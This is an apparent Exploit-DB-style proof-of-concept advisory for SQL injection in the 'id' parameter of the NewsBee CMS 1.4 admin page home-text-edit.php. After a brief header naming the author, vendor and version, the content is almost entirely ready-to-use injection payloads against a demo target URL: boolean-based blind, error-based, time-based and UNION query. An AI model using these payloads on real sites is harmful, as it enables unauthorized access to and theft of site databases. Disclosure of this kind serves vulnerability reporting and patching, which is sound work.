NewsBee CMS 1.4 - 'home-text-edit.php' SQL Injection

# Exploit Title: NewsBee CMS 1.4 - 'home-text-edit.php' SQL Injection
# Dork: N/A
# Date: 2018-05-22
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/newsbee-fully-featured-news-cms-with-bootstrasp-php-mysql/19404937
# Version: 1.4 / fourth update
# Category: Webapps
# Tested on: Kali linux

# PoC: SQLi:
# Parameter: id
# Type: boolean-based blind
# Demo: http://target/NewsBee/admin/home-text-edit.php?id=5
# Payload: 

Payload: id=5' AND 3563=3563 AND 'HmOW'='HmOW

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload:

id=5' AND (SELECT 7446 FROM(SELECT
COUNT(*),CONCAT(0x7178707871,(SELECT
(ELT(7446=7446,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'rNYc'='rNYc

# Type: AND/OR time-based blind
# Demo: http://target/NewsBee/admin/home-text-edit.php?id=5
# Payload: 

id=5' AND SLEEP(5) AND 'KdYd'='KdYd

# Type: UNION query
# Demo: http://target/NewsBee/admin/home-text-edit.php?id=5
# Payload: 

id=-1714' UNION ALL SELECT
NULL,NULL,CONCAT(0x7162787871,0x51487655536a566c616e5156496a6a56426267495670596f644f466f554753504469636d4358694c,0x71766a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
WSZd&t=gallery